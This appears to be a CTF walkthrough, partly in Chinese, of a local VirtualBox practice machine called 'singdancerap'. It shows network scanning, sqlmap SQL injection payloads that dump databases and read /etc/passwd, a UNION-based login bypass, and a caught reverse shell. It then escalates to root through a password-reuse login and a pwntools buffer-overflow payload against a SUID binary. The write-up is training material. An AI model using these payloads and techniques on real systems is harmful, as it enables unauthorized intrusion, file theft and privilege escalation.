❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.129 08:00:27:5b:a6:58 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f6:18:1e VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.028 seconds (126.23 hosts/sec). 4 responded ❯ export ip=192.168.60.129 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- You miss 100% of the ports you don't scan. - RustScan
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.129:22 Open 192.168.60.129:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 08:23 CST Initiating ARP Ping Scan at 08:23 Scanning 192.168.60.129 [1 port] Completed ARP Ping Scan at 08:23, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:23 Completed Parallel DNS resolution of 1 host. at 08:23, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 08:23 Scanning 192.168.60.129 [2 ports] Discovered open port 22/tcp on 192.168.60.129 Discovered open port 80/tcp on 192.168.60.129 Completed SYN Stealth Scan at 08:23, 0.08s elapsed (2 total ports) Nmap scan report for 192.168.60.129 Host is up, received arp-response (0.010s latency). Scanned at 2025-04-08 08:23:34 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:5B:A6:58 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds Raw packets sent: 3 (116B) | Rcvd: 9 (1.378KB)
……………………省略…………………… Parameter: title (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: title=sing' AND 8651=8651 AND 'Kxwn'='Kxwn
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: title=sing' AND (SELECT 8927 FROM (SELECT(SLEEP(5)))GPnA) AND 'Olqx'='Olqx
Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- - --- [*] ending @ 08:31:52 /2025-04-08/
--- [08:36:39] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.59 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [08:36:39] [INFO] fetching columns for table 'news'in database 'news_db' [08:36:39] [INFO] fetching entries for table 'news'in database 'news_db' Database: news_db Table: news [3 entries] +----+-------+--------------------------------+ | id | title | content | +----+-------+--------------------------------+ | 1 | sing | This is the content for sing. | | 2 | dance | This is the content for dance. | | 3 | rap | This is the content for rap. | +----+-------+--------------------------------+
[08:58:50] [INFO] retrieved: [08:59:00] [INFO] adjusting time delay to 1 second due to good response times information_schema [08:59:59] [INFO] retrieved: news_db [09:00:27] [INFO] retrieved: mysql [09:00:45] [INFO] retrieved: performance_schema available databases [4]: [*] information_schema [*] mysql [*] news_db [*] performance_schema
❯ sqlmap -u "http://192.168.60.129/littlesecrets/login.php" --batch --forms -D news_db --tables --- Parameter: username (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=ctXS' AND (SELECT 5453 FROM (SELECT(SLEEP(5)))iOcn) AND 'EUJv'='EUJv&password=qqHq --- [09:19:27] [INFO] retrieved: [09:19:32] [INFO] adjusting time delay to 1 second due to good response times users [09:19:47] [INFO] retrieved: news Database: news_db [2 tables] +-------+ | news | | users | +-------+
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch --technique U --file-read=/etc/passwd --- Parameter: title (GET) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- - --- [09:31:14] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.59 back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [09:31:14] [INFO] fingerprinting the back-end DBMS operating system [09:31:14] [INFO] the back-end DBMS operating system is Linux [09:31:14] [INFO] fetching file: '/etc/passwd' do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y [09:31:14] [INFO] the local file '/home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (1610 B) files saved to [1]: [*] /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_passwd (same file) [09:31:14] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.129' ❯ cat /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_passwd |grep /bin/bash root:x:0:0:root:/root:/bin/bash he110wor1d:x:1001:1001::/home/he110wor1d:/bin/bash
利用wappalyzer嗅探网络技术栈，发现使用了apache
尝试读取apache2的配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch --technique U --file-read=/etc/apache2/apache2.conf --- Parameter: title (GET) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- - --- [09:41:53] [INFO] fetching file: '/etc/apache2/apache2.conf' do you want confirmation that the remote file '/etc/apache2/apache2.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y [09:41:53] [INFO] the local file '/home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_apache2_apache2.conf' and the remote file '/etc/apache2/apache2.conf' have the same size (7501 B) files saved to [1]: [*] /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_apache2_apache2.conf (same file) [09:41:53] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.129' [*] ending @ 09:41:53 /2025-04-08/
查看一下配置的信息
发现网站根目录在/var/www/he110wor1d
1 2 3 4 5 6 7 8
❯ cat /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_etc_apache2_apache2.conf|grep 80 -A 6 <VirtualHost *:80> DocumentRoot /var/www/he110wor1d <Directory /var/www/he110wor1d> Options -Indexes AllowOverride None Require all granted </Directory>
尝试读取上方枚举到的manager.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ sqlmap -u "http://192.168.60.129/news.php?title=sing" --batch --technique U --file-read=/var/www/he110wor1d/littlesecrets/manager.php --- Parameter: title (GET) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: title=sing' UNION ALL SELECT NULL,NULL,CONCAT(0x7162626b71,0x6541545847644f646461434650456a584f58574b444b75756345446f535248794364475a474f597a,0x717a7a7171)-- - --- [09:49:18] [INFO] fetching file: '/var/www/he110wor1d/littlesecrets/manager.php' do you want confirmation that the remote file '/var/www/he110wor1d/littlesecrets/manager.php' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y [09:49:19] [INFO] the local file '/home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_var_www_he110wor1d_littlesecrets_manager.php' and the remote file '/var/www/he110wor1d/littlesecrets/manager.php' have the same size (2788 B) files saved to [1]: [*] /home/Pepster/.local/share/sqlmap/output/192.168.60.129/files/_var_www_he110wor1d_littlesecrets_manager.php (same file) [09:49:19] [INFO] fetched data logged to text files under '/home/Pepster/.local/share/sqlmap/output/192.168.60.129' [*] ending @ 09:49:19 /2025-04-08/
#payload ' UNION SELECT 1,'he110wor1d_admin','abc #拼接后 SELECT id, username, password FROM users WHERE username='' UNION SELECT 1,'he110wor1d_admin','abc' #query() 返回 1 条记录 [ 'id' => 1, 'username' => 'he110wor1d_admin', 'password' => 'abc' ]
然后 POST 的密码也正好是 abc，就匹配了
这样即可成功进入命令执行面板
用户提权
尝试反弹shell
监听端口
1 2 3 4 5 6 7 8 9 10 11
❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from singdancerap-192.168.60.129-Linux-i686 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/singdancerap~192.168.60.129_Linux_i686/2025_04_08-10_07_04-238.log 📜 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── www-data@singdancerap:/var/www/he110wor1d/littlesecrets$
猜测密码复用
我们尝试利用上面读到的mysql密码进行登录he110wor1d用户
1 2 3 4 5 6 7 8
www-data@singdancerap:/var/www/he110wor1d/littlesecrets$ su he110wor1d Password: he110wor1d@singdancerap:/var/www/he110wor1d/littlesecrets$ cd ~ he110wor1d@singdancerap:~$ cat user.txt #SQL injection can not only retrieve data but also forge it. #SQL注入不仅可以检索数据，还可以伪造数据。
User flag:107883ee-f5e4-11ef-8542-005056207011
Root提权
同时发现在用户家目录下存在的文件夹中thekey2root此程序拥有suid权限
1 2 3 4 5 6
he110wor1d@singdancerap:~$ cd thekey2root/ he110wor1d@singdancerap:~/thekey2root$ ls -al total 24 drwxr-x--- 2 he110wor1d he110wor1d 4096 Mar 3 04:21 . drwxr-x--- 4 he110wor1d he110wor1d 4096 Mar 3 04:14 .. -rwsr-sr-x 1 root root 15472 Mar 1 00:23 thekey2root
❯ checksec thekey2root [*] '/mnt/c/Users/maple/Desktop/tmp/thekey2root' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
❯ gdb thekey2root GNU gdb (Debian 15.2-1) 15.2 Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty"for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration"for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.
For help, type"help". Type "apropos word" to search for commands related to "word"... Reading symbols from thekey2root... (No debugging symbols found in thekey2root) (gdb) set follow- follow-exec-mode follow-fork-mode (gdb) set follow-fork-mode parent (gdb) run <<< $(python3 -c "from pwn import *; print(cyclic(100))") Starting program: /mnt/c/Users/maple/Desktop/tmp/thekey2root <<< $(python3 -c "from pwn import *; print(cyclic(100))") [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [Detaching after vfork from child process 762224] input something:
Program received signal SIGSEGV, Segmentation fault. 0x61696161 in ?? ()
得到0x61696161再次利用cyclic反查此字符串的位置，得到偏移量为32
1 2
❯ cyclic -l 0x61616169 32
好了，现在拿到了偏移量和sing_dance_rap的地址
尝试执行一下，可以覆盖到我们的目标地址成功执行sing_dance_rap的echo命令
1 2 3 4 5
❯ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x13\x92\x04\x08" | ./thekey2root input something: Hey,bro! What are you looking for? [1] 884526 doneecho -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x13\x92\x04\x08" | 884527 segmentation fault ./thekey2root
❯ python3 -c "from pwn import *; print(b'A'*32 + p32(0x08049213) + p32(0x080491b6) + p32(0x0804a03e))" b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\x92\x04\x08\xb6\x91\x04\x08>\xa0\x04\x08' -------------------------------------- # 靶机中执行 he110wor1d@singdancerap:~/thekey2root$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x13\x92\x04\x08\xb6\x91\x04\x08>\xa0\x04\x08'| thekey2root input something: Hey,bro! What are you looking for? -------------------------------------- #到这里会卡住，kali就收到反弹shell了 ❯ penelope.py 6666 [+] Listening for reverse shells on 0.0.0.0:6666 → 127.0.0.1 • 192.168.60.100 • 172.17.0.1 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from singdancerap-192.168.60.129-Linux-i686 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/singdancerap~192.168.60.129_Linux_i686/2025_04_08-18_42_08-937.log 📜 ────────────────────────────────────────────────────────────────────────── root@singdancerap:~/thekey2root# id uid=0(root) gid=0(root) groups=0(root),1001(he110wor1d) root@singdancerap:~# cd /root/ root@singdancerap:/root# cat root.txt #During the process of PWN, the execution of the system function does not necessarily have to be bash.
he110wor1d@singdancerap:~/thekey2root$ nc -lvp 6666 -e thekey2root listening on [any] 6666 ... ------------------------- ❯ python3 exp.py [*] '/mnt/c/Users/maple/Desktop/tmp/thekey2root' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [+] Opening connection to 192.168.60.129 on port 6666: Done [*] Switching to interactive mode input something: $ Hey,bro! What are you looking for? $ id uid=0(root) gid=0(root) groups=0(root),1001(he110wor1d) $ cat /root/root.txt #During the process of PWN, the execution of the system function does not necessarily have to be bash.
